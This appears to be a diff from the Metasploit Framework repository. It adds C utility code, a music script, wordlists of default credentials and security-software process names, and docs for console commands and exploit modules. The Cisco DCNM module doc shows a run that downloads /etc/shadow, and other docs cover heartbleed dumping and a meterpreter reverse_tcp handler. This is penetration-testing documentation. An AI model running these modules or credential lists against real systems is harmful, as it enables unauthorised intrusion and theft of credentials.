+  char *strings[4] = {"hello", "world", "foo", "bar"};
+
+  for (int i = 0; i < N; i++) {
+    Vector_Push(v, strings[i]);
+  }
+  ASSERT_EQUAL(N, Vector_Size(v));
+  ASSERT(Vector_Cap(v) >= N);
+
+  for (int i = 0; i < Vector_Size(v); i++) {
+    char *x;
+    int rc = Vector_Get(v, i, &x);
+    ASSERT_EQUAL(1, rc);
+    ASSERT_STRING_EQ(x, strings[i]);
+  }
+
+  int rc = Vector_Get(v, 100, NULL);
+  ASSERT_EQUAL(0, rc);
+
+  Vector_Free(v);
+
+  return 0;
+  // Vector_Push(v, "hello");
+  // Vector_Push(v, "world");
+  // char *x = NULL;
+  // int rc = Vector_Getx(v, 0, &x);
+  // printf("rc: %d got %s\n", rc, x);
+}
+
+TEST_MAIN({ TESTFUNC(testVector); });
@@ -0,0 +1,299 @@
+#include <stdlib.h>
+#include <errno.h>
+#include <math.h>
+#include <ctype.h>
+#include <sys/time.h>
+#include <stdarg.h>
+#include <limits.h>
+#include <string.h>
+#define REDISMODULE_EXPERIMENTAL_API
+#include <redismodule.h>
+#include "util.h"
+
+/**
+Check if an argument exists in an argument list (argv,argc), starting at offset.
+@return 0 if it doesn't exist, otherwise the offset it exists in
+*/
+int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset) {
+
+  size_t larg = strlen(arg);
+  for (; offset < argc; offset++) {
+    size_t l;
+    const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
+    if (l != larg) continue;
+    if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
+      return offset;
+    }
+  }
+  return 0;
+}
+
+/**
+Check if an argument exists in an argument list (argv,argc)
+@return -1 if it doesn't exist, otherwise the offset it exists in
+*/
+int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc) {
+
+  size_t larg = strlen(arg);
+  for (int offset = 0; offset < argc; offset++) {
+    size_t l;
+    const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
+    if (l != larg) continue;
+    if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
+      return offset;
+    }
+  }
+  return -1;
+}
+
+RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx) {
+
+  RedisModuleCallReply *r = RedisModule_Call(ctx, "INFO", "c", "all");
+  if (r == NULL || RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) {
+    return NULL;
+  }
+
+  int cap = 100;  // rough estimate of info lines
+  RMUtilInfo *info = malloc(sizeof(RMUtilInfo));
+  info->entries = calloc(cap, sizeof(RMUtilInfoEntry));
+
+  int i = 0;
+  size_t sz;
+  char *text = (char *)RedisModule_CallReplyStringPtr(r, &sz);
+
+  char *line = text;
+  while (line && line < text + sz) {
+    char *line = strsep(&text, "\r\n");
+    if (line == NULL) break;
+
+    if (!(*line >= 'a' && *line <= 'z')) {  // skip non entry lines
+      continue;
+    }
+
+    char *key = strsep(&line, ":");
+    info->entries[i].key = strdup(key);
+    info->entries[i].val = strdup(line);
+    i++;
+    if (i >= cap) {
+      cap *= 2;
+      info->entries = realloc(info->entries, cap * sizeof(RMUtilInfoEntry));
+    }
+  }
+  info->numEntries = i;
+  RedisModule_FreeCallReply(r);
+  return info;
+}
+void RMUtilRedisInfo_Free(RMUtilInfo *info) {
+  for (int i = 0; i < info->numEntries; i++) {
+    free(info->entries[i].key);
+    free(info->entries[i].val);
+  }
+  free(info->entries);
+  free(info);
+}
+
+int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val) {
+
+  const char *p = NULL;
+  if (!RMUtilInfo_GetString(info, key, &p)) {
+    return 0;
+  }
+
+  *val = strtoll(p, NULL, 10);
+  if ((errno == ERANGE && (*val == LONG_MAX || *val == LONG_MIN)) || (errno != 0 && *val == 0)) {
+    *val = -1;
+    return 0;
+  }
+
+  return 1;
+}
+
+int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str) {
+  int i;
+  for (i = 0; i < info->numEntries; i++) {
+    if (!strcmp(key, info->entries[i].key)) {
+      *str = info->entries[i].val;
+      return 1;
+    }
+  }
+  return 0;
+}
+
+int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d) {
+  const char *p = NULL;
+  if (!RMUtilInfo_GetString(info, key, &p)) {
+    printf("not found %s\n", key);
+    return 0;
+  }
+
+  *d = strtod(p, NULL);
+  if ((errno == ERANGE && (*d == HUGE_VAL || *d == -HUGE_VAL)) || (errno != 0 && *d == 0)) {
+    return 0;
+  }
+
+  return 1;
+}
+
+/*
+c -- pointer to a Null terminated C string pointer.
+b -- pointer to a C buffer, followed by pointer to a size_t for its length
+s -- pointer to a RedisModuleString
+l -- pointer to Long long integer.
+d -- pointer to a Double
+* -- do not parse this argument at all
+*/
+int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...) {
+  va_list ap;
+  va_start(ap, fmt);
+  int rc = rmutil_vparseArgs(argv, argc, offset, fmt, ap);
+  va_end(ap);
+  return rc;
+}
+
+// Internal function that parses arguments based on the format described above
+int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap) {
+
+  int i = offset;
+  char *c = (char *)fmt;
+  while (*c && i < argc) {
+
+    // read c string
+    if (*c == 'c') {
+      char **p = va_arg(ap, char **);
+      *p = (char *)RedisModule_StringPtrLen(argv[i], NULL);
+    } else if (*c == 'b') {
+      char **p = va_arg(ap, char **);
+      size_t *len = va_arg(ap, size_t *);
+      *p = (char *)RedisModule_StringPtrLen(argv[i], len);
+    } else if (*c == 's') {  // read redis string
+
+      RedisModuleString **s = va_arg(ap, void *);
+      *s = argv[i];
+
+    } else if (*c == 'l') {  // read long
+      long long *l = va_arg(ap, long long *);
+
+      if (RedisModule_StringToLongLong(argv[i], l) != REDISMODULE_OK) {
+        return REDISMODULE_ERR;
+      }
+    } else if (*c == 'd') {  // read double
+      double *d = va_arg(ap, double *);
+      if (RedisModule_StringToDouble(argv[i], d) != REDISMODULE_OK) {
+        return REDISMODULE_ERR;
+      }
+    } else if (*c == '*') {  // skip current arg
+      // do nothing
+    } else {
+      return REDISMODULE_ERR;  // WAT?
+    }
+    c++;
+    i++;
+  }
+  // if the format is longer than argc, retun an error
+  if (*c != 0) {
+    return REDISMODULE_ERR;
+  }
+  return REDISMODULE_OK;
+}
+
+int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
+                          ...) {
+
+  int pos = RMUtil_ArgIndex(token, argv, argc);
+  if (pos < 0) {
+    return REDISMODULE_ERR;
+  }
+
+  va_list ap;
+  va_start(ap, fmt);
+  int rc = rmutil_vparseArgs(argv, argc, pos + 1, fmt, ap);
+  va_end(ap);
+  return rc;
+}
+
+RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
+                                                              const char *path) {
+  if (rep == NULL) return NULL;
+
+  RedisModuleCallReply *ele = rep;
+  const char *s = path;
+  char *e;
+  long idx;
+  do {
+    errno = 0;
+    idx = strtol(s, &e, 10);
+
+    if ((errno == ERANGE && (idx == LONG_MAX || idx == LONG_MIN)) || (errno != 0 && idx == 0) ||
+        (REDISMODULE_REPLY_ARRAY != RedisModule_CallReplyType(ele)) || (s == e)) {
+      ele = NULL;
+      break;
+    }
+    s = e;
+    ele = RedisModule_CallReplyArrayElement(ele, idx - 1);
+
+  } while ((ele != NULL) && (*e != '\0'));
+
+  return ele;
+}
+
+int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out) {
+  if (key == NULL) {
+    return RMUTIL_VALUE_MISSING;
+  }
+  int keytype = RedisModule_KeyType(key);
+  if (keytype == REDISMODULE_KEYTYPE_EMPTY) {
+    return RMUTIL_VALUE_EMPTY;
+  } else if (keytype == REDISMODULE_KEYTYPE_MODULE && RedisModule_ModuleTypeGetType(key) == type) {
+    *out = RedisModule_ModuleTypeGetValue(key);
+    return RMUTIL_VALUE_OK;
+  } else {
+    return RMUTIL_VALUE_MISMATCH;
+  }
+}
+
+RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
+                                        const char *keyword, size_t *nargs) {
+  if (offset > argc) {
+    return NULL;
+  }
+
+  argv += offset;
+  argc -= offset;
+
+  int ix = RMUtil_ArgIndex(keyword, argv, argc);
+  if (ix < 0) {
+    return NULL;
+  } else if (ix >= argc - 1) {
+    *nargs = RMUTIL_VARARGS_BADARG;
+    return argv;
+  }
+
+  argv += (ix + 1);
+  argc -= (ix + 1);
+
+  long long n = 0;
+  RMUtil_ParseArgs(argv, argc, 0, "l", &n);
+  if (n > argc - 1 || n < 0) {
+    *nargs = RMUTIL_VARARGS_BADARG;
+    return argv;
+  }
+
+  *nargs = n;
+  return argv + 1;
+}
+
+void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value) {
+  RedisModuleCtx *ctx = RedisModule_GetThreadSafeContext(NULL);
+  RedisModuleCallReply *rep = RedisModule_Call(ctx, "DUMP", "s", key);
+  if (rep != NULL && RedisModule_CallReplyType(rep) == REDISMODULE_REPLY_STRING) {
+    size_t n;
+    const char *s = RedisModule_CallReplyStringPtr(rep, &n);
+    RedisModule_EmitAOF(aof, "RESTORE", "slb", key, 0, s, n);
+  } else {
+    RedisModule_Log(RedisModule_GetContextFromIO(aof), "warning", "Failed to emit AOF");
+  }
+  if (rep != NULL) {
+    RedisModule_FreeCallReply(rep);
+  }
+  RedisModule_FreeThreadSafeContext(ctx);
+}
@@ -0,0 +1,149 @@
+#ifndef __UTIL_H__
+#define __UTIL_H__
+
+#include <redismodule.h>
+#include <stdarg.h>
+
+/// make sure the response is not NULL or an error, and if it is sends the error to the client and
+/// exit the current function
+#define RMUTIL_ASSERT_NOERROR(ctx, r)                                   \
+  if (r == NULL) {                                                      \
+    return RedisModule_ReplyWithError(ctx, "ERR reply is NULL");        \
+  } else if (RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) { \
+    RedisModule_ReplyWithCallReply(ctx, r);                             \
+    return REDISMODULE_ERR;                                             \
+  }
+
+#define __rmutil_register_cmd(ctx, cmd, f, mode)                                \
+  if (RedisModule_CreateCommand(ctx, cmd, f, mode, 1, 1, 1) == REDISMODULE_ERR) \
+    return REDISMODULE_ERR;
+
+#define RMUtil_RegisterReadCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "readonly")
+
+#define RMUtil_RegisterWriteCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "write")
+
+/* RedisModule utilities. */
+
+/** DEPRECATED: Return the offset of an arg if it exists in the arg list, or 0 if it's not there */
+int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset);
+
+/* Same as argExists but returns -1 if not found. Use this, RMUtil_ArgExists is kept for backwards
+compatibility. */
+int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc);
+
+/**
+Automatically conver the arg list to corresponding variable pointers according to a given format.
+You pass it the command arg list and count, the starting offset, a parsing format, and pointers to
+the variables.
+The format is a string consisting of the following identifiers:
+
+    c -- pointer to a Null terminated C string pointer.
+    s -- pointer to a RedisModuleString
+    l -- pointer to Long long integer.
+    d -- pointer to a Double
+    * -- do not parse this argument at all
+
+Example: If I want to parse args[1], args[2] as a long long and double, I do:
+    double d;
+    long long l;
+    RMUtil_ParseArgs(argv, argc, 1, "ld", &l, &d);
+*/
+int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...);
+
+/**
+Same as RMUtil_ParseArgs, but only parses the arguments after `token`, if it was found.
+This is useful for optional stuff like [LIMIT [offset] [limit]]
+*/
+int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
+                          ...);
+
+int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap);
+
+#define RMUTIL_VARARGS_BADARG ((size_t)-1)
+/**
+ * Parse arguments in the form of KEYWORD {len} {arg} .. {arg}_len.
+ * If keyword is present, returns the position within `argv` containing the arguments.
+ * Returns NULL if the keyword is not found.
+ * If a parse error has occurred, `nargs` is set to RMUTIL_VARARGS_BADARG, but
+ * the return value is not NULL.
+ */
+RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
+                                        const char *keyword, size_t *nargs);
+
+/**
+ * Default implementation of an AoF rewrite function that simply calls DUMP/RESTORE
+ * internally. To use this function, pass it as the .aof_rewrite value in
+ * RedisModuleTypeMethods
+ */
+void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value);
+
+// A single key/value entry in a redis info map
+typedef struct {
+  char *key;
+  char *val;
+} RMUtilInfoEntry;
+
+// Representation of INFO command response, as a list of k/v pairs
+typedef struct {
+  RMUtilInfoEntry *entries;
+  int numEntries;
+} RMUtilInfo;
+
+/**
+* Get redis INFO result and parse it as RMUtilInfo.
+* Returns NULL if something goes wrong.
+* The resulting object needs to be freed with RMUtilRedisInfo_Free
+*/
+RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx);
+
+/**
+* Free an RMUtilInfo object and its entries
+*/
+void RMUtilRedisInfo_Free(RMUtilInfo *info);
+
+/**
+* Get an integer value from an info object. Returns 1 if the value was found and
+* is an integer, 0 otherwise. the value is placed in 'val'
+*/
+int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val);
+
+/**
+* Get a string value from an info object. The value is placed in str.
+* Returns 1 if the key was found, 0 if not
+*/
+int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str);
+
+/**
+* Get a double value from an info object. Returns 1 if the value was found and is
+* a correctly formatted double, 0 otherwise. the value is placed in 'd'
+*/
+int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d);
+
+/*
+* Returns a call reply array's element given by a space-delimited path. E.g.,
+* the path "1 2 3" will return the 3rd element from the 2 element of the 1st
+* element from an array (or NULL if not found)
+*/
+RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
+                                                              const char *path);
+
+/**
+ * Extract the module type from an opened key.
+ */
+typedef enum {
+  RMUTIL_VALUE_OK = 0,
+  RMUTIL_VALUE_MISSING,
+  RMUTIL_VALUE_EMPTY,
+  RMUTIL_VALUE_MISMATCH
+} RMUtil_TryGetValueStatus;
+
+/**
+ * Tries to extract the module-specific type from the value.
+ * @param key an opened key (may be null)
+ * @param type the pointer to the type to match to
+ * @param[out] out if the value is present, will be set to it.
+ * @return a value in the @ref RMUtil_TryGetValueStatus enum.
+ */
+int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out);
+
+#endif
@@ -0,0 +1,88 @@
+#include "vector.h"
+#include <stdio.h>
+
+inline int __vector_PushPtr(Vector *v, void *elem) {
+  if (v->top == v->cap) {
+    Vector_Resize(v, v->cap ? v->cap * 2 : 1);
+  }
+
+  __vector_PutPtr(v, v->top, elem);
+  return v->top;
+}
+
+inline int Vector_Get(Vector *v, size_t pos, void *ptr) {
+  // return 0 if pos is out of bounds
+  if (pos >= v->top) {
+    return 0;
+  }
+
+  memcpy(ptr, v->data + (pos * v->elemSize), v->elemSize);
+  return 1;
+}
+
+/* Get the element at the end of the vector, decreasing the size by one */
+inline int Vector_Pop(Vector *v, void *ptr) {
+  if (v->top > 0) {
+    if (ptr != NULL) {
+      Vector_Get(v, v->top - 1, ptr);
+    }
+    v->top--;
+    return 1;
+  }
+  return 0;
+}
+
+inline int __vector_PutPtr(Vector *v, size_t pos, void *elem) {
+  // resize if pos is out of bounds
+  if (pos >= v->cap) {
+    Vector_Resize(v, pos + 1);
+  }
+
+  if (elem) {
+    memcpy(v->data + pos * v->elemSize, elem, v->elemSize);
+  } else {
+    memset(v->data + pos * v->elemSize, 0, v->elemSize);
+  }
+  // move the end offset to pos if we grew
+  if (pos >= v->top) {
+    v->top = pos + 1;
+  }
+  return 1;
+}
+
+int Vector_Resize(Vector *v, size_t newcap) {
+  int oldcap = v->cap;
+  v->cap = newcap;
+
+  v->data = realloc(v->data, v->cap * v->elemSize);
+
+  // If we grew:
+  // put all zeros at the newly realloc'd part of the vector
+  if (newcap > oldcap) {
+    int offset = oldcap * v->elemSize;
+    memset(v->data + offset, 0, v->cap * v->elemSize - offset);
+  }
+  return v->cap;
+}
+
+Vector *__newVectorSize(size_t elemSize, size_t cap) {
+  Vector *vec = malloc(sizeof(Vector));
+  vec->data = calloc(cap, elemSize);
+  vec->top = 0;
+  vec->elemSize = elemSize;
+  vec->cap = cap;
+
+  return vec;
+}
+
+void Vector_Free(Vector *v) {
+  free(v->data);
+  free(v);
+}
+
+
+/* return the used size of the vector, regardless of capacity */
+inline int Vector_Size(Vector *v) { return v->top; }
+
+/* return the actual capacity */
+inline int Vector_Cap(Vector *v) { return v->cap; }
@@ -0,0 +1,73 @@
+#ifndef __VECTOR_H__
+#define __VECTOR_H__
+#include <stdlib.h>
+#include <string.h>
+#include <stdarg.h>
+
+/*
+* Generic resizable vector that can be used if you just want to store stuff
+* temporarily.
+* Works like C++ std::vector with an underlying resizable buffer
+*/
+typedef struct {
+    char *data;
+    size_t elemSize;
+    size_t cap;
+    size_t top;
+
+} Vector;
+
+/* Create a new vector with element size. This should generally be used
+ * internall by the NewVector macro */
+Vector *__newVectorSize(size_t elemSize, size_t cap);
+
+// Put a pointer in the vector. To be used internall by the library
+int __vector_PutPtr(Vector *v, size_t pos, void *elem);
+
+/*
+* Create a new vector for a given type and a given capacity.
+* e.g. NewVector(int, 0) - empty vector of ints
+*/
+#define NewVector(type, cap) __newVectorSize(sizeof(type), cap)
+
+/*
+* get the element at index pos. The value is copied in to ptr. If pos is outside
+* the vector capacity, we return 0
+* otherwise 1
+*/
+int Vector_Get(Vector *v, size_t pos, void *ptr);
+
+/* Get the element at the end of the vector, decreasing the size by one */
+int Vector_Pop(Vector *v, void *ptr);
+
+//#define Vector_Getx(v, pos, ptr) pos < v->cap ? 1 : 0; *ptr =
+//*(typeof(ptr))(v->data + v->elemSize*pos)
+
+/*
+* Put an element at pos.
+* Note: If pos is outside the vector capacity, we resize it accordingly
+*/
+#define Vector_Put(v, pos, elem) __vector_PutPtr(v, pos, elem ? &(typeof(elem)){elem} : NULL)
+
+/* Push an element at the end of v, resizing it if needed. This macro wraps
+ * __vector_PushPtr */
+#define Vector_Push(v, elem) __vector_PushPtr(v, elem ? &(typeof(elem)){elem} : NULL)
+
+int __vector_PushPtr(Vector *v, void *elem);
+
+/* resize capacity of v */
+int Vector_Resize(Vector *v, size_t newcap);
+
+/* return the used size of the vector, regardless of capacity */
+int Vector_Size(Vector *v);
+
+/* return the actual capacity */
+int Vector_Cap(Vector *v);
+
+/* free the vector and the underlying data. Does not release its elements if
+ * they are pointers*/
+void Vector_Free(Vector *v);
+
+int __vecotr_PutPtr(Vector *v, size_t pos, void *elem);
+
+#endif
@@ -0,0 +1,58 @@
+use_bpm 130
+use_synth_defaults sustain: 0
+
+live_loop :drums do
+  sample :drum_heavy_kick, amp: 2
+  sleep 1
+  sample :drum_snare_hard
+  sleep 1
+end
+
+live_loop :hi_hat do
+  sample :drum_cymbal_closed, amp: 0.5
+  sleep 0.5
+end
+
+live_loop :bass do
+  use_synth :pluck
+
+  notes = %i[
+    Eb3  Eb3  Eb3
+    B2   B2   B2
+    Fs2  Fs2  Fs2
+    As2  As2  As2  As2
+  ]
+
+  beats = %w[
+    2.0  1.0  1.0
+    2.0  1.0  1.0
+    2.0  1.0  1.0
+    1.5  1.0  0.5  1.0
+  ].map(&:to_f)
+
+  with_fx :reverb do
+    play_pattern_timed notes, beats
+  end
+end
+
+live_loop :lead do
+  use_synth :piano
+
+  notes = %i[
+    As4   As4   As4   As4   Gs4   As4   As4
+    As4   As4   As4   Gs4   As4   As4
+    Db5   As4   Gs4   Fs4
+    Eb4   Eb4   F4    Fs4   Eb4
+  ]
+
+  beats = %w[
+    2.00  0.50  0.25  0.25  0.25  0.75  2.00
+    0.50  0.25  0.25  0.25  0.75  1.50
+    1.00  1.00  1.00  1.00
+    0.50  0.50  0.50  0.50  0.50
+  ].map(&:to_f)
+
+  with_fx :reverb do
+    play_pattern_timed notes, beats
+  end
+end
@@ -1,3 +1,12 @@
+AlMon.exe 
+SAVAdminService.exe 
+SavService.exe 
+SNTPService.exe 
+swc_service.exe 
+swi_fc.exe
+swi_filter.exe
+swi_service.exe 
+swi_fc.exe  
 emet_agent.exe
 emet_service.exe
 firesvc.exe
@@ -0,0 +1,4 @@
+244+0000009999
+188+030000
+19b+00000F
+19b+000010
@@ -4,3 +4,4 @@ root
 Administrator
 USERID
 guest
+Admin
@@ -405,6 +405,7 @@ root realtek
 root root
 root tini
 root tslinux
+root ubnt
 root user
 root vizxv
 root wyse
@@ -44,7 +44,7 @@ apc
 bintec
 blue
 c
-cable-d
+cable-docsis
 canon_admin
 cc
 cisco
@@ -0,0 +1,53 @@
+msfconsole
+==========
+
+`msfconsole` is the primary interface to Metasploit Framework. There is quite a
+lot that needs go here, please be patient and keep an eye on this space!
+
+Building ranges and lists
+-------------------------
+
+Many commands and options that take a list of things can use ranges to avoid
+having to manually list each desired thing. All ranges are inclusive.
+
+### Ranges of IDs
+
+Commands that take a list of IDs can use ranges to help. Individual IDs must be
+separated by a `,` (no space allowed) and ranges can be expressed with either
+`-` or `..`.
+
+### Ranges of IPs
+
+There are several ways to specify ranges of IP addresses that can be mixed
+together. The first way is a list of IPs separated by just a ` ` (ASCII space),
+with an optional `,`. The next way is two complete IP addresses in the form of
+`BEGINNING_ADDRESS-END_ADDRESS` like `127.0.1.44-127.0.2.33`. CIDR
+specifications may also be used, however the whole address must be given to
+Metasploit like `127.0.0.0/8` and not `127/8`, contrary to the RFC.
+Additionally, a netmask can be used in conjunction with a domain name to
+dynamically resolve which block to target. All these methods work for both IPv4
+and IPv6 addresses. IPv4 addresses can also be specified with special octet
+ranges from the [NMAP target
+specification](https://nmap.org/book/man-target-specification.html)
+
+### Examples
+
+Terminate the first sessions:
+
+    sessions -k 1
+
+Stop some extra running jobs:
+
+    jobs -k 2-6,7,8,11..15
+
+Check a set of IP addresses:
+
+    check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255
+
+Target a set of IPv6 hosts:
+
+    set RHOSTS fe80::3990:0000/110, ::1-::f0f0
+
+Target a block from a resolved domain name:
+
+    set RHOSTS www.example.test/24
@@ -0,0 +1,124 @@
+Jobs
+====
+
+The `jobs` command is used to interact with modules running in the
+background. Using jobs allows you to run multiple modules at once, like
+multiple `exploit/multi/hander` runs with different options to listen
+for different payloads to call back. Framework automatically starts
+modules that wait for something to happen ("passive modules") as jobs,
+and `run -j` will start any module as a job. When a module is started
+as a job, you will see a message like `[*] Exploit running as
+background job X.`. You will then be able to continue interacting with
+Metasploit as normal, and output from the module will continue to be
+printed to the console, like a background job in other shells.
+
+Usage
+-----
+
+### Flags
+
+#### -h
+
+Display the help banner.
+
+#### -i JOB_ID
+
+Show details of the specified `JOB_ID`, including the name and the time
+the job was started.
+
+#### -K
+
+Stop all currently running jobs.
+
+#### -k JOB_IDS
+
+Stop the specified list of jobs. See [msfconsole > Building ranges and
+lists](../msfconsole.md#building-ranges-and-lists) for more details on
+how to build ranges.
+
+#### -l
+
+List all the currently running jobs. This is the default action. Module
+name, payload, and some payload configuration is shown when present.
+
+#### -P
+
+Save each of the currently running jobs to be restarted when
+`msfconsole` is started. Only valid for jobs running payload handlers.
+See [Persistence](#persistence) below.
+
+#### -p JOB_IDS
+
+Save the specified list of jobs to restarted when `msfconsole` is
+started. Only valid for jobs running payload handlers. See
+[Persistence](#persistence) below and [msfconsole > Building ranges and
+lists](../msfconsole.md#building-ranges-and-listss) for how to specify
+a list of `JOB_IDS`.
+
+#### -S FILTER
+
+Apply a search filter for the output. Currently ignored.
+
+#### -v
+
+Show verbose information with `-i` and `-l`. When combined with `-i`,
+display the advanced options given to the module run. When combined
+with `-l` or no other flags, displays an expanded table of jobs, adding
+the URI for HTTP payload handlers, start time, handler options (if
+present), and whether the job has been persisted with `-p` or `-P`.
+
+Persistence
+-----------
+
+The `-P` and `-p JOB_IDS` flags save payload handler jobs to be started
+every time `msfconsole` is started. This works by saving the
+information needed to start an equivalent `exploit/multi/handler` run
+as a JSON blob in the job persistence file, `~/.msf4/persist` by
+default.
+
+Examples
+--------
+
+Starting a module as a job:
+
+    msf5 exploit(multi/handler) > run -j
+    [*] Exploit running as background job 1.
+
+A verbose listing of all the jobs:
+
+    msf5 exploit(multi/handler) > jobs -v
+    
+    Jobs
+    ====
+    
+      Id  Name                    Payload                          Payload opts          URIPATH  Start Time                 Handler opts  Persist
+      --  ----                    -------                          ------------          -------  ----------                 ------------  -------
+      1   Exploit: multi/handler  windows/meterpreter/reverse_tcp  tcp://127.0.0.1:4444           2019-02-20 19:02:58 -0600                true
+
+Set some jobs to be started on `msfconsole` start:
+
+    msf5 exploit(multi/handler) > jobs -p 1-2
+    Added persistence to job 1.
+    Added persistence to job 2.
+
+Getting information about a specific job:
+
+    msf5 exploit(multi/handler) > jobs -i 1
+    
+    Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
+    msf5 exploit(multi/handler) > jobs -i 1 -v
+    
+    Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
+    
+    Module advanced options:
+    
+       Name                    Current Setting  Required  Description
+       ----                    ---------------  --------  -----------
+       ContextInformationFile                   no        The information file that contains context information
+       DisablePayloadHandler   false            no        Disable the handler code for the selected payload
+       EnableContextEncoding   false            no        Use transient context when encoding payloads
+       ExitOnSession           true             yes       Return from the exploit after a session has been created
+       ListenerTimeout         0                no        The maximum number of seconds to wait for new sessions
+       VERBOSE                 false            no        Enable detailed status messages
+       WORKSPACE                                no        Specify the workspace for this module
+       WfsDelay                0                no        Additional delay when waiting for a session
@@ -0,0 +1,37 @@
+Repeat
+======
+
+The `repeat` command repeats one or more console commands for a fixed number of
+times, a certain length of time, or forever. The repeat command is most useful
+for repeating module runs like memory dumpers or scanners that have a random
+element to them.
+
+Usage
+-----
+
+### Flags
+
+#### -t, --time SECONDS
+
+Start the list of commands until the number of seconds has elapsed.
+
+#### -n, --number TIMES
+
+Start the list of commands a fixed number of times.
+
+#### -h, --help
+
+Display the help banner.
+
+
+
+Examples
+--------
+
+Run the heartbleed module every 10 seconds against a server for an hour:
+
+    msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
+    msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP
+    # Set other options...
+    msf5 auxiliary(scanner/ssl/openssl_heartbleed) > repeat -t 3600 run; sleep 10
+
@@ -2,9 +2,11 @@ This module plays (by default) ["Epic sax guy 10 hours"](https://www.youtube.com

 Naturally, audio should be cranked to 11 before running this module.

+Only the deprecated DIAL protocol is supported by this module. Casting via the newer CASTV2 protocol is unsupported at this time.
+
 ## Verification Steps

-1. Do: ```use auxiliary/scanner/http/chromecast_webserver ```
+1. Do: ```use auxiliary/admin/chromecast/chromecast_youtube```
 2. Do: ```set RHOST [IP]```
 3. Do: ```run```

@@ -0,0 +1,42 @@
+## Intro
+
+Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
+An authenticated user can abuse this servlet to download arbitrary files as root by specifying
+the full path of the file (aka CVE-2019-1621).
+
+This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
+work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
+(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication.
+
+
+## Author and discoverer
+
+Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
+
+
+## References
+
+https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
+https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
+https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb
+https://seclists.org/fulldisclosure/2019/Jul/7
+
+
+## Usage
+
+Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy!
+
+```
+msf5 exploit(multi/http/cisco_dcnm_upload_2019) > use auxiliary/admin/cisco/cisco_dcnm_download
+
+msf5 auxiliary(admin/cisco/cisco_dcnm_download) > set rhost 10.75.1.40
+rhost => 10.75.1.40
+msf5 auxiliary(admin/cisco/cisco_dcnm_download) > run
+
+[+] 10.75.1.40:443 - Detected DCNM 10.4(2)
+[*] 10.75.1.40:443 - No authentication required, ready to exploit!
+[+] 10.75.1.40:443 - Got sysTime value 1567081446000
+[+] 10.75.1.40:443 - Successfully authenticated our JSESSIONID cookie
+[+] File saved in: /home/john/.msf4/loot/20190829122407_default_10.75.1.40_ciscoDCNM.http_855907.bin
+[*] Auxiliary module execution completed
+```
@@ -0,0 +1,35 @@
+## Summary
+
+This module exploits an unauthenticated remote file inclusion which exists in Supra Smart Cloud TV. 
+The media control for the device doesn't have any session management or authentication. Leveraging this, an
+attacker on the local network can send a crafted request to broadcast a fake video.
+
+**Reference:** https://www.inputzero.io/2019/06/hacking-smart-tv.html
+
+## Verification Steps
+
+1. `use auxiliary/admin/http/supra_smart_cloud_tv_rfi `
+2. `set RHOSTS [IP]`
+3. `set SRVHOST [IP]`
+4. `run`
+
+Doo-doodoodoodoodoo-doo, Epic Sax Guy will be broadcasted to the remote system.
+
+## Sample Output
+
+```
+msf5 > use auxiliary/admin/http/supra_smart_cloud_tv_rfi 
+msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set SRVHOST 192.168.1.132
+SRVHOST => 192.168.1.132
+msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set RHOSTS 192.168.1.155
+RHOSTS => 192.168.1.155
